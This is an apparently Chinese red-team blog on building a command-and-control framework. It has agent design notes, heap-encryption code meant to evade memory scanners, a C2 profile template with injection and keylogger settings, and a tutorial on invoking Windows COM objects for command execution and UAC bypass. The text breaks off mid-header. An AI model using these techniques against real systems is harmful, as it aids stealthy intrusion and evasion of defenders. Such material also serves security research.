# 关于这个博客

## About

```
$ wecome to the real network world
```

{% hint style="info" %}
&#x20;这个博客仅用于技术交流，任何人不得将上述技术用于非法用途。

1. 无法保证该博客记述内容完全正确
2. 并不一定会详细解释每一种技术的细节
3. 引用会给出所有参考链接
4. 如发现错误请跟我联系
   {% endhint %}

PS1:我的代码有些臭毛病，不太喜欢按照规范写，总喜欢最少的代码实现最多的功能，所以实际使用的时候该关的句柄关关掉，该释放的内存释放掉。

PS2:博客主人这个臭弟弟以前非常喜欢用C#编写工具，因为C#真的是方便啊，很多用C/C++实现的东西用C#几句话就能完事，但是由于托管程序检测越来越严格，还是决定以C为主要开发语言。

PS3:如果应用这些技术发现了问题需要联系在下，请务必把代码贴出来(狗头)。

PS4:以前觉得如果用.net写木马，托管环境初始化在恶意代码运行前，如果微软后续在托管环境接入更多的检测手段(目前有amsi和defender接口)，木马会先天劣势，但是现在整个windows的设计在向.net转移，包括不限于.net重写了windbg，所以.net的东西还是不能丢，话是如此观点不变.net不适合写木马，最好作为扩展功能而非主功能。

## 联系方式

需要vx可以直接发邮件给我，会回的。

* email <idiotc4t@gmail.com>
* github&#x20;

{% embed url="<https://github.com/idiotc4t>" %}


# 我也不知道能不能写


# C2手稿

## 简介

C2是个啥玩意我就不赘述了,放一些设计初期的手稿,希望能对大家有所帮助。

## 第一章 设计理念

### 1.设计模型

该C2采用Client-Teamserver-Agent设计,其中Agent为汇编、C实现,而Teamserver与Client使用C#实现。

Agent部分以RDI技术为核心扩展,采用Fork\&Run思想设计,即傀儡进程注入RDI反射DLL,这样做的好处在于Agent从设计上规避了这块使用内存的回收问题，同时提高了RDI模块本身的容错,但这样设计同样存在不小的缺陷,从OPSEC的角度来说,这种设计不是特别合适,所以我们同时还要提供一种相对于Fork\&Run更难以检测的模式,作者选用Master-Worker模式,Worker以抢占式的执行Master分配的任务。

TeamServer与Client均为C#编写,出于对使用者的体验考虑,故设计成与CS(Cobaltstrike下文若非特指均称为CS),Client与Teamserver之间采用ASP.NET的WEB Api进行数据交互,与Agent之间使用自建WEB Server或Raw Socket进行交互,数据格式参考cobaltstrike,将Channel(信道,即数据的传输方式)与Metadata(元数据,即Agent的操作指令)解耦合,即信道与元数据分离,同时在数据传输过程中使用RSA+AES的强加密(在信道中实现)。

具体细节会在后续章节正文中讲解。

### 2.概念图

#### 2.1 Agent

![](https://3969710588-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3GuIlaAXU8NbJTCRei%2F-MkVUcI_RN6hfUcXeIn5%2F-MkVUm3OaObqyX00z5KR%2Fimage-20210615113856114.png?alt=media\&token=062f17e0-6445-47fd-9572-42aaca39d085)

![](https://3969710588-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3GuIlaAXU8NbJTCRei%2F-MkVUcI_RN6hfUcXeIn5%2F-MkVUq8cpdybzkxTJen9%2Fimage-20210615113817201.png?alt=media\&token=90312e08-2f91-4f2d-ac0a-2441eae28e61)

#### 2.2 TeamServcer

![](https://3969710588-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3GuIlaAXU8NbJTCRei%2F-MkVUcI_RN6hfUcXeIn5%2F-MkVUxu525W94ff9DbFA%2Fimage-20210615113754347.png?alt=media\&token=c5033f9f-8722-4387-a858-738754252147)


# Heap加密

## 简介

最近堆(Heap)加密给BeaconEye整挺火,刚好自己也在写C2,就简单记录下。

## 流程

1. 遍历进程拥有的堆。
2. 编译堆中已分配的块。
3. 异或已分配块中的数据。

## 过程

首先用GetProcessHeaps获取进程拥有的所有堆句柄。

```
DWORD GetProcessHeaps(
  DWORD   NumberOfHeaps,
  PHANDLE ProcessHeaps
);
```

然后用HeapWalk枚举所有已分配的堆内存块。(这个函数设计的挺好的终于不用啥First Next了 略略略)

（heapEntry.wFlags & PROCESS\_HEAP\_ENTRY\_BUSY)

```
BOOL HeapWalk(
  HANDLE               hHeap,
  LPPROCESS_HEAP_ENTRY lpEntry
);
```

![](https://3969710588-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3GuIlaAXU8NbJTCRei%2F-Ml5Xiykh6hMurnr0VVf%2F-Ml5XkP8Sxreq2Q1BWP6%2Fimage.png?alt=media\&token=fd189d39-07b3-464b-8772-1ad4a9b99f7b)

![](https://3969710588-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3GuIlaAXU8NbJTCRei%2F-Ml5Xiykh6hMurnr0VVf%2F-Ml5XoLeQNTC1azDTKTS%2Fimage.png?alt=media\&token=4277596b-20d1-4f95-9b7f-29e93ad10baf)

## 代码

```
#include <windows.h>
#include <stdio.h>


VOID Xor(char* buffer, size_t buffer_size) {
	char key[9] = { 1,2,3,4,5,6,8,0 };

	for (size_t i = 0; i < buffer_size; i++)
	{
		buffer[i] ^= key[i % sizeof(key)-1];
	}
}

VOID FuckHeap() {
	PROCESS_HEAP_ENTRY heapEntry = { 0 };
	HANDLE hHeap = GetProcessHeap();
	while (HeapWalk(hHeap, &heapEntry))
	{
		if (heapEntry.wFlags & PROCESS_HEAP_ENTRY_BUSY)
		{
			Xor((char*)heapEntry.lpData, heapEntry.cbData);
		}
	}
}

int main()
{
	
	LPVOID WorkPath = malloc(MAX_PATH);
	GetCurrentDirectoryA(MAX_PATH, (LPSTR)WorkPath);
	printf("%s\n", (char*)WorkPath);
	FuckHeap();

	//printf("%s\n", (char*)WorkPath);
	FuckHeap();
	printf("%s\n", (char*)WorkPath);

}
```

## Links

<https://www.arashparsa.com/hook-heaps-and-live-free/>


# 数据打包DataPacker

如果是定长数据就直接压入buffer,不是定长数据压入一个长度再压入数据。

![](https://3969710588-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3GuIlaAXU8NbJTCRei%2F-Ml5ldX0a2jrQa3drdvO%2F-Ml5pSFsyGrpfe8q35SY%2Fimage.png?alt=media\&token=6d5f5dd5-c91e-4d9c-8b6b-b9e04457605f)

```
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;

namespace xxx.Core
{
    class DataPacker
    {
        byte[] buffer = new byte[] { };
        int size = 0;
        public DataPacker(byte[] data)
        {
            size = BitConverter.ToInt32(data[..3]);
            buffer = data[4..];
        }
        public DataPacker()
        {
        }
        public byte[] sub(int start,int end)
        {
            return buffer[start..end];
        }
        public void push(int data)
        {
            var dataBytes = BitConverter.GetBytes(data);
            buffer = Utils.Combine(buffer, dataBytes);
        }
        public void push(short data)
        {
            var dataBytes = BitConverter.GetBytes(data);
            buffer = Utils.Combine(buffer, dataBytes);
        }
        public void push(string data)
        {
            var sizeBytes = BitConverter.GetBytes(data.Length + 1);
            var dataBytes = Encoding.ASCII.GetBytes(data);
            buffer = Utils.Combine(buffer, sizeBytes, dataBytes, new byte[] { 0x00 });
        }
        public void push(byte data)
        {
            buffer = Utils.Combine(buffer, new byte[] { data});
        }

        public void push(byte[] data)
        {
            var dataBytes = BitConverter.GetBytes(data.Length);
            buffer = Utils.Combine(buffer, dataBytes, data);
        }
        public byte[] GetBuffer()
        {
            var dataBytes = BitConverter.GetBytes(buffer.Length+4);
            return (byte[])Utils.Combine(dataBytes, buffer).Clone();
        }

    }
}

```


# 真·手稿

## 手写搞

### 心跳

![](https://3969710588-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3GuIlaAXU8NbJTCRei%2F-MkVVHlgIIJG9Y40pfT_%2F-MkVWBTOd9pHh41WKton%2F7b1ba9f08455ed5222a3d9a29f6196a.jpg?alt=media\&token=b1db951b-9935-4a79-a217-ff27f3cd039a)

### 数据流

![](https://3969710588-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3GuIlaAXU8NbJTCRei%2F-MkVVHlgIIJG9Y40pfT_%2F-MkVWMe2UUAIthEtA_ni%2F8e4299cbcb7d61402c492f35605f009.jpg?alt=media\&token=bb6c5568-32ce-4768-bfe1-807633eba6ff)

### 处理逻辑

![](https://3969710588-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3GuIlaAXU8NbJTCRei%2F-MkW6MWLmi2Y9FonP78w%2F-MkW6j0s1qJzXfKwIV4B%2Flj.jpg?alt=media\&token=893e739b-4213-4f12-8375-cb73bd1dfa26)

## 初期UML图

在设计初期把创建和管理功能区分开,实际在实现的时候发现有功能高度重合统一整合到Controller里面了。

### Tasks

![](https://3969710588-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3GuIlaAXU8NbJTCRei%2F-MkVWXWYTwgM1uVpbf__%2F-MkVWg2LYdMwmtvDIre1%2Ftasks.jpg?alt=media\&token=7e938476-4c51-4b69-a15a-4b12b3dcce45)

### Beacons

![](https://3969710588-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3GuIlaAXU8NbJTCRei%2F-MkVWXWYTwgM1uVpbf__%2F-MkVWu_8smgBoxHEZh3U%2Fbeacon.jpg?alt=media\&token=01291e0d-6988-48fb-a72b-440727f406dd)

### Listeners

![](https://3969710588-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3GuIlaAXU8NbJTCRei%2F-MkVWXWYTwgM1uVpbf__%2F-MkVWq0hg06JhhxEbpgn%2Flistener.jpg?alt=media\&token=f95d5400-06d2-4f22-8373-c2c58a476395)

### Profiles

设计的时候是准备自己写解析引擎的，后来在实现的时候发现json能直接反序列化成对象,后续准备直接从json封装profile。

```
string profile_name "profilename"
int sleep_time  30
int sleep_jitter 30
string useragent "userAgent"

http_profile:
    cecerrtificate:
        string C "US"
        string CN "jquery.com"
        string O "jQuery"
        string OU "Certificate Authority"
        string validity "365"
    server_general:
        set headers "Date, Server, Content-Length, Keep-Alive, Connection, Content-Type";
        headers:
            "Server" "Apache";

        block_useragents "curl*,lynx*,wget*";
    task_config:
        client:
            task_result_url "/rooke.api"
            task_result_null "GET"
            task_result_put "POST"
            headers:
                cookie "lalalalla"
            metadata:
                coding base64
                header "cookie"
                prepend "__cfduid=";
                append "__cfduid=";
                
        server:
            task_request_null 302
            task_request_put 200
            headers:
                set-cookie "lalalalla"
            output:
                coding base64
                prepend 12345
                append "__cfduid="




tcp_profile:
    string tcp_port 42585
    string tcp_frame_header "\x80"

smb_profile:
    string pipename "mojo.5688.8052.183894939787088877##"
    string pipename_stager "mojo.5688.8052.35780273329370473##"
    bytes smb_frame_header "\x80"

dns_profile:
    string dns_idle           "74.125.196.113"
    int dns_max_txt        "252"
    int dns_sleep          "0"
    int dns_ttl            "5"
    int maxdns             "255"
    string dns_stager_prepend ".resources.123456."
    string dns_stager_subhost ".feeds.123456."
    string beacon           "a.bc."
    string get_A            "b.1a."
    string get_AAAA         "c.4a."
    string get_TXT          "d.tx."
    string put_metadata     "e.md."
    string put_output       "f.po."
    string ns_response      "zero"

ssh_profile:
    ssh_banner        "OpenSSH_7.4 Debian (protocol 2.0)"
    ssh_pipename      "wkssvc##"

stager_profile:
    string url "/jquery-3.3.1.slim.min.js"
    string check_over "faske"
    client:
        headers:
            string cookie "hello"
    server:
        headers:
            string set_cookie "fake-----"
        output:
            string prepend "nihao"
            string append "nohao"

post_profile:
    string spawnto_x86 "%windir%\\syswow64\\dllhost.exe"
    string spawnto_x64 "%windir%\\sysnative\\dllhost.exe"
    string keylogger "GetAsyncKeyState";
    string pipename "Winsock2\\CatalogChangeListener-###-0,"
    string allocator "NtMapViewOfSection"
    int min_alloc 25500
    string transform "\x90\x90"
    execute:
        CreateRemoteThread
        RtlCreateUserThread
        NtQueueApcThread-s
        CreateThread

pe_profile:
    string pe_name "hello"
    string allocator  "VirtualAlloc"
    string magic_mz   "MZRE";
    string magic_pe   "NO"
    bool stomppe "true"
    int checksum 0
    string compile_time
    string entry_point
    string image_size
    string rich_header "\x55\x55"

    transform:
        string prepend "\x55\x55\x55"
        string append "\x55\x55\x55"
        strrep:
            "AAA" "BBB"
            "AAA" "BBB"
```

#### 实现

```
{
    "ProfileName":"TestProfile",
    "SleepTime":60,
    "SleepJitter":30,
    "UserAgent":"Uset Agent",
    "Http":{
      "Server": {
        "Headers": {
          "serverheader": "serverheader"
        },
        "Status": 404,
        "Body": "<!DOCTYPE HTML PUBLIC \"-//IETF//DTD HTML 2.0//EN\">\n<html><head>\n<title>Tom fuck fbi 404 Not Found</title>\n</head><body>\n<h1>Not Found</h1>\n<p>The requested URL #URI# was not\nfound on this server.</p>\n</body></html>",
        "TaskRequest": {
          "Null": 201,
          "Put": 200,
          "Coding": "base64",
          "Prepend": "prepend",
          "Append": "append"
        }
      },
        "Client":{
            "Headers":
            {
                "Clientheader":"clientheader"
            },
            "TaskResult":{
                "Uri":"/rooke.api",
                "Null":"GET",
                "Put":"POST",
                "Coding":"base64",
                "Append":"append",
                "Prepend":"prepend"
            },
            "Metadata":{
                "Coding":"base64",
                "Header":"Cookie",
                "Append":"append",
                "Prepend":"prepend"
            }
        }
    }
}
```


# 实现UML图

![](https://3969710588-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3GuIlaAXU8NbJTCRei%2F-MkVXpir1wPqnc_KPWYT%2F-MkVZ3YYrZ8p1qsr1eK5%2Fimage.png?alt=media\&token=7a11041c-fcce-4076-8358-6f2129271951)


# 先占个位置


# COM组件相关的武器化开发技术

## COM简介

> 由于网上关于直接调用windows内建com组件的编程技术比较稀少(至少我找了几天没找到)，该文会简要介绍如何通过已知clsid在自定可执行文件中调用windows com接口，实现部分武器化技术。

{% hint style="danger" %}
文旨在简单介绍调用windows本身com组件的相关编程技术，由于本人非职业开发，理解可能存在一定偏差，如发现有明显错误，请务必直接联系本人(防止误人子弟略略略略略)。
{% endhint %}

阅读本文的朋友很大概率经常使用诸如atexec、wmiexec之类的横向移动工具，该类技术其实质也是对dcom(分布式com)组件的调用。

com本身是一种开发理念，旨在跨应用和语言共享二进制代码，其理念类似dll，但dll仅能被C/C++理解或遵循C调用规范的语言使用,com通过指明二进制模块必须编译成约定的结构解决了这个问题，其实现方式与c++的类相似，所以通常使用c++来实现一个com组件。

就windows中实现来看，com组件本身仍旧是标准的pe结构(dll/exe)，只不过其内部包含了coclass，以及在注册表中注册了相关键值，以便我们找到并使用它。

## 原理

通常windows内建com已经在注册表内存储着相关信息，而自定义com需要创建注册表入口点告诉windows com组件服务器在上面位置，这个过程称之为注册(Registration)，我们可以在HKEY\_CLASSES\_ROOT\CLSID\\{clsid}位置找到所有windows已注册的com组件。

![](https://3969710588-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3GuIlaAXU8NbJTCRei%2F-MH_HpSnikGyjF4sG5-0%2F-MH_N2yrhKObSfPnadgM%2Fimage.png?alt=media\&token=346568d9-6317-4e96-9202-ef6f458ad9bd)

注册后com通过GUID(globally unique identifier)唯一标识符来寻找并使用这个com组件，理论上每一个GUID(有时也称UUID)都是唯一的,GUID在标识不同的对象时会有不同的称呼，标识类对象时称之为CLSID(类标识符)、标识接口时被称为IID(接口标识符)。

在每一个注册的clsid表项中都包含一个名为InprocServer32的子项，该子项内存有映射到该com二进制文件的键值对，操作系统通过该键值对将com组件载入进程或另起进程。(进程内组件和进程外组件，二进制代码的表现形式为dll(内)和exe(外))。

![](https://3969710588-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3GuIlaAXU8NbJTCRei%2F-MH_PXoaTp3peaX8XOqo%2F-MH_QCE_69t6XNyMiKoY%2Fimage.png?alt=media\&token=0e4e8db9-412d-4803-aeb9-872a5449729e)

我们可以通过以下powershell代码遍历所有com组件和它导出的方法。

```
New-PSDrive -PSProvider registry -Root HKEY_CLASSES_ROOT -Name HKCR
Get-ChildItem -Path HKCR:\CLSID -Name | Select -Skip 1 > clsids.txt

$Position  = 1
$Filename = "win10-clsid-members.txt"
$inputFilename = "clsids.txt"
ForEach($CLSID in Get-Content $inputFilename) {
      Write-Output "$($Position) - $($CLSID)"
      Write-Output "------------------------" | Out-File $Filename -Append
      Write-Output $($CLSID) | Out-File $Filename -Append
      $handle = [activator]::CreateInstance([type]::GetTypeFromCLSID($CLSID))
      $handle | Get-Member | Out-File $Filename -Append
      $Position += 1
}
```

## 通过C++实现调用

通常对com组件的利用很多文章都直接使用powershell代码调用接口，代码如下:

```
$handle = [activator]::CreateInstance([type]::GetTypeFromCLSID("xxx"))
$handle.shellxec('cmd.exe /c')
```

在这里我会介绍一种通过c++调用的方法，在介绍之前，先看一个简单的powershell案例，Charles Hamilton发现prchauto.dll拥有一个ProcessChain的类，该类公开的start方法和commdline属性。

![](https://3969710588-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3GuIlaAXU8NbJTCRei%2F-MH_R9a9q3TEiNmZJQbC%2F-MH_ScrRI2OW-IBuWpJ8%2Fimage.png?alt=media\&token=45c8aec2-b9e6-4c09-9f1f-8e285b66e573)

接下来我们通过部分工具将这个简单案例使用c艹实现，我们先使用oleview打开这个com组件的实现文件。

![](https://3969710588-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3GuIlaAXU8NbJTCRei%2F-MH_R9a9q3TEiNmZJQbC%2F-MH_U6mzjtMqe3tJ2VUX%2Fimage.png?alt=media\&token=a692c68d-b3e4-4ada-b1b2-e1416502d554)

可以看到processchain类导出了一个名为iprocesschain的接口，我们使用这个工具将这个类导出为IDL文件，然后使用MIDL工具将这个IDL文件转换成我们需要的C++的头文件，这个文件会定义这个类和接口的使用方法。

![](https://3969710588-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3GuIlaAXU8NbJTCRei%2F-MH_R9a9q3TEiNmZJQbC%2F-MH_Ul85xEVvtPozgz8e%2Fimage.png?alt=media\&token=3c2c00c3-f5b9-407a-9ba6-e7f86caae280)

使用MIDL，生成的processchain.h就是我们需要的。

![](https://3969710588-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3GuIlaAXU8NbJTCRei%2F-MH_R9a9q3TEiNmZJQbC%2F-MH_V9My4A8nY7kEnn2u%2Fimage.png?alt=media\&token=0fb3ecfc-1d2a-441f-b8f3-57e8994945d0)

![](https://3969710588-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3GuIlaAXU8NbJTCRei%2F-MH_R9a9q3TEiNmZJQbC%2F-MH_V4bBOZNHCn1ykakz%2Fimage.png?alt=media\&token=c38e245c-1cc9-49b5-bdd2-dbd8ebbf8483)

部分代码:

```

EXTERN_C const IID IID_IProcessChain;

#if defined(__cplusplus) && !defined(CINTERFACE)
    
    MIDL_INTERFACE("79ED9CB4-3A01-4ABA-AD3C-A985EE298B20")
    IProcessChain : public IDispatch
    {
    public:
        virtual /* [propget][id] */ HRESULT STDMETHODCALLTYPE get_ExecutablePath( 
            /* [retval][out] */ BSTR *ExecutablePath) = 0;
        
        virtual /* [propput][id] */ HRESULT STDMETHODCALLTYPE put_ExecutablePath( 
            /* [in] */ BSTR ExecutablePath) = 0;
        
        virtual /* [propget][id] */ HRESULT STDMETHODCALLTYPE get_CommandLine( 
            /* [retval][out] */ BSTR *CommandLine) = 0;
        
        virtual /* [propput][id] */ HRESULT STDMETHODCALLTYPE put_CommandLine( 
            /* [in] */ BSTR CommandLine) = 0;
        
        virtual /* [propget][id] */ HRESULT STDMETHODCALLTYPE get_NonBlocking( 
            /* [retval][out] */ VARIANT_BOOL *NonBlocking) = 0;
        
        virtual /* [propput][id] */ HRESULT STDMETHODCALLTYPE put_NonBlocking( 
            /* [in] */ VARIANT_BOOL NonBlocking) = 0;
        
        virtual /* [propget][id] */ HRESULT STDMETHODCALLTYPE get_TimeoutPeriod( 
            /* [retval][out] */ long *TimeoutPeriod) = 0;
        
        virtual /* [propput][id] */ HRESULT STDMETHODCALLTYPE put_TimeoutPeriod( 
            /* [in] */ long TimeoutPeriod) = 0;
        
        virtual /* [id] */ HRESULT STDMETHODCALLTYPE Start( 
            /* [out] */ VARIANT_BOOL *TimerFired) = 0;
        
        virtual /* [id] */ HRESULT STDMETHODCALLTYPE CancelWait( void) = 0;
        
        virtual /* [id] */ HRESULT STDMETHODCALLTYPE Terminate( void) = 0;
        
    };
```

接下来就是简单的编程实现了，如果我们能找到一个支持提权且能执行命令的com组件，那我们就又获得了一个新的bypassuac的方法。

## 代码

先贴实现效果:

![win10的计算机有点大.jpg](https://3969710588-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3GuIlaAXU8NbJTCRei%2F-MH_WZ5g4ewk0Jg2HpVI%2F-MH_WyWxD7USvzxC5qGV%2Fimage.png?alt=media\&token=e691649d-6990-4522-a552-9f03032d5ae4)

### processchain.h

```


/* this ALWAYS GENERATED file contains the definitions for the interfaces */


 /* File created by MIDL compiler version 8.01.0622 */
/* at Tue Jan 19 11:14:07 2038
 */
/* Compiler settings for .\prchauto.IDL:
    Oicf, W1, Zp8, env=Win32 (32b run), target_arch=X86 8.01.0622 
    protocol : dce , ms_ext, c_ext, robust
    error checks: allocation ref bounds_check enum stub_data 
    VC __declspec() decoration level: 
         __declspec(uuid()), __declspec(selectany), __declspec(novtable)
         DECLSPEC_UUID(), MIDL_INTERFACE()
*/
/* @@MIDL_FILE_HEADING(  ) *

#pragma warning( disable: 4049 )  /* more than 64k source lines */


/* verify that the <rpcndr.h> version is high enough to compile this file*/
#ifndef __REQUIRED_RPCNDR_H_VERSION__
#define __REQUIRED_RPCNDR_H_VERSION__ 475
#endif

#include "rpc.h"
#include "rpcndr.h"

#ifndef __RPCNDR_H_VERSION__
#error this stub requires an updated version of <rpcndr.h>
#endif /* __RPCNDR_H_VERSION__ */


#ifndef __processchain_h__
#define __processchain_h__

#if defined(_MSC_VER) && (_MSC_VER >= 1020)
#pragma once
#endif

/* Forward Declarations */ 

#ifndef ___IProcessChainEvents_FWD_DEFINED__
#define ___IProcessChainEvents_FWD_DEFINED__
typedef interface _IProcessChainEvents _IProcessChainEvents;

#endif 	/* ___IProcessChainEvents_FWD_DEFINED__ */


#ifndef __IProcessChain_FWD_DEFINED__
#define __IProcessChain_FWD_DEFINED__
typedef interface IProcessChain IProcessChain;

#endif 	/* __IProcessChain_FWD_DEFINED__ */


#ifndef __ProcessChain_FWD_DEFINED__
#define __ProcessChain_FWD_DEFINED__

#ifdef __cplusplus
typedef class ProcessChain ProcessChain;
#else
typedef struct ProcessChain ProcessChain;
#endif /* __cplusplus */

#endif 	/* __ProcessChain_FWD_DEFINED__ */


#ifdef __cplusplus
extern "C"{
#endif 



#ifndef __ProcessChainLib_LIBRARY_DEFINED__
#define __ProcessChainLib_LIBRARY_DEFINED__

/* library ProcessChainLib */
/* [version][uuid] */ 




EXTERN_C const IID LIBID_ProcessChainLib;

#ifndef ___IProcessChainEvents_DISPINTERFACE_DEFINED__
#define ___IProcessChainEvents_DISPINTERFACE_DEFINED__

/* dispinterface _IProcessChainEvents */
/* [uuid] */ 


EXTERN_C const IID DIID__IProcessChainEvents;

#if defined(__cplusplus) && !defined(CINTERFACE)

    MIDL_INTERFACE("85C4AF17-4C7A-4EF0-9BE7-39B06351AFA6")
    _IProcessChainEvents : public IDispatch
    {
    };
    
#else 	/* C style interface */

    typedef struct _IProcessChainEventsVtbl
    {
        BEGIN_INTERFACE
        
        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( 
            _IProcessChainEvents * This,
            /* [in] */ REFIID riid,
            /* [annotation][iid_is][out] */ 
            _COM_Outptr_  void **ppvObject);
        
        ULONG ( STDMETHODCALLTYPE *AddRef )( 
            _IProcessChainEvents * This);
        
        ULONG ( STDMETHODCALLTYPE *Release )( 
            _IProcessChainEvents * This);
        
        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( 
            _IProcessChainEvents * This,
            /* [out] */ UINT *pctinfo);
        
        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( 
            _IProcessChainEvents * This,
            /* [in] */ UINT iTInfo,
            /* [in] */ LCID lcid,
            /* [out] */ ITypeInfo **ppTInfo);
        
        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( 
            _IProcessChainEvents * This,
            /* [in] */ REFIID riid,
            /* [size_is][in] */ LPOLESTR *rgszNames,
            /* [range][in] */ UINT cNames,
            /* [in] */ LCID lcid,
            /* [size_is][out] */ DISPID *rgDispId);
        
        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( 
            _IProcessChainEvents * This,
            /* [annotation][in] */ 
            _In_  DISPID dispIdMember,
            /* [annotation][in] */ 
            _In_  REFIID riid,
            /* [annotation][in] */ 
            _In_  LCID lcid,
            /* [annotation][in] */ 
            _In_  WORD wFlags,
            /* [annotation][out][in] */ 
            _In_  DISPPARAMS *pDispParams,
            /* [annotation][out] */ 
            _Out_opt_  VARIANT *pVarResult,
            /* [annotation][out] */ 
            _Out_opt_  EXCEPINFO *pExcepInfo,
            /* [annotation][out] */ 
            _Out_opt_  UINT *puArgErr);
        
        END_INTERFACE
    } _IProcessChainEventsVtbl;

    interface _IProcessChainEvents
    {
        CONST_VTBL struct _IProcessChainEventsVtbl *lpVtbl;
    };

    

#ifdef COBJMACROS


#define _IProcessChainEvents_QueryInterface(This,riid,ppvObject)	\
    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) 

#define _IProcessChainEvents_AddRef(This)	\
    ( (This)->lpVtbl -> AddRef(This) ) 

#define _IProcessChainEvents_Release(This)	\
    ( (This)->lpVtbl -> Release(This) ) 


#define _IProcessChainEvents_GetTypeInfoCount(This,pctinfo)	\
    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) 

#define _IProcessChainEvents_GetTypeInfo(This,iTInfo,lcid,ppTInfo)	\
    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) 

#define _IProcessChainEvents_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)	\
    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) 

#define _IProcessChainEvents_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)	\
    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) 

#endif /* COBJMACROS */


#endif 	/* C style interface */


#endif 	/* ___IProcessChainEvents_DISPINTERFACE_DEFINED__ */


#ifndef __IProcessChain_INTERFACE_DEFINED__
#define __IProcessChain_INTERFACE_DEFINED__

/* interface IProcessChain */
/* [object][oleautomation][nonextensible][dual][uuid] */ 


EXTERN_C const IID IID_IProcessChain;

#if defined(__cplusplus) && !defined(CINTERFACE)
    
    MIDL_INTERFACE("79ED9CB4-3A01-4ABA-AD3C-A985EE298B20")
    IProcessChain : public IDispatch
    {
    public:
        virtual /* [propget][id] */ HRESULT STDMETHODCALLTYPE get_ExecutablePath( 
            /* [retval][out] */ BSTR *ExecutablePath) = 0;
        
        virtual /* [propput][id] */ HRESULT STDMETHODCALLTYPE put_ExecutablePath( 
            /* [in] */ BSTR ExecutablePath) = 0;
        
        virtual /* [propget][id] */ HRESULT STDMETHODCALLTYPE get_CommandLine( 
            /* [retval][out] */ BSTR *CommandLine) = 0;
        
        virtual /* [propput][id] */ HRESULT STDMETHODCALLTYPE put_CommandLine( 
            /* [in] */ BSTR CommandLine) = 0;
        
        virtual /* [propget][id] */ HRESULT STDMETHODCALLTYPE get_NonBlocking( 
            /* [retval][out] */ VARIANT_BOOL *NonBlocking) = 0;
        
        virtual /* [propput][id] */ HRESULT STDMETHODCALLTYPE put_NonBlocking( 
            /* [in] */ VARIANT_BOOL NonBlocking) = 0;
        
        virtual /* [propget][id] */ HRESULT STDMETHODCALLTYPE get_TimeoutPeriod( 
            /* [retval][out] */ long *TimeoutPeriod) = 0;
        
        virtual /* [propput][id] */ HRESULT STDMETHODCALLTYPE put_TimeoutPeriod( 
            /* [in] */ long TimeoutPeriod) = 0;
        
        virtual /* [id] */ HRESULT STDMETHODCALLTYPE Start( 
            /* [out] */ VARIANT_BOOL *TimerFired) = 0;
        
        virtual /* [id] */ HRESULT STDMETHODCALLTYPE CancelWait( void) = 0;
        
        virtual /* [id] */ HRESULT STDMETHODCALLTYPE Terminate( void) = 0;
        
    };
    
    
#else 	/* C style interface */

    typedef struct IProcessChainVtbl
    {
        BEGIN_INTERFACE
        
        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( 
            IProcessChain * This,
            /* [in] */ REFIID riid,
            /* [annotation][iid_is][out] */ 
            _COM_Outptr_  void **ppvObject);
        
        ULONG ( STDMETHODCALLTYPE *AddRef )( 
            IProcessChain * This);
        
        ULONG ( STDMETHODCALLTYPE *Release )( 
            IProcessChain * This);
        
        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( 
            IProcessChain * This,
            /* [out] */ UINT *pctinfo);
        
        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( 
            IProcessChain * This,
            /* [in] */ UINT iTInfo,
            /* [in] */ LCID lcid,
            /* [out] */ ITypeInfo **ppTInfo);
        
        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( 
            IProcessChain * This,
            /* [in] */ REFIID riid,
            /* [size_is][in] */ LPOLESTR *rgszNames,
            /* [range][in] */ UINT cNames,
            /* [in] */ LCID lcid,
            /* [size_is][out] */ DISPID *rgDispId);
        
        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( 
            IProcessChain * This,
            /* [annotation][in] */ 
            _In_  DISPID dispIdMember,
            /* [annotation][in] */ 
            _In_  REFIID riid,
            /* [annotation][in] */ 
            _In_  LCID lcid,
            /* [annotation][in] */ 
            _In_  WORD wFlags,
            /* [annotation][out][in] */ 
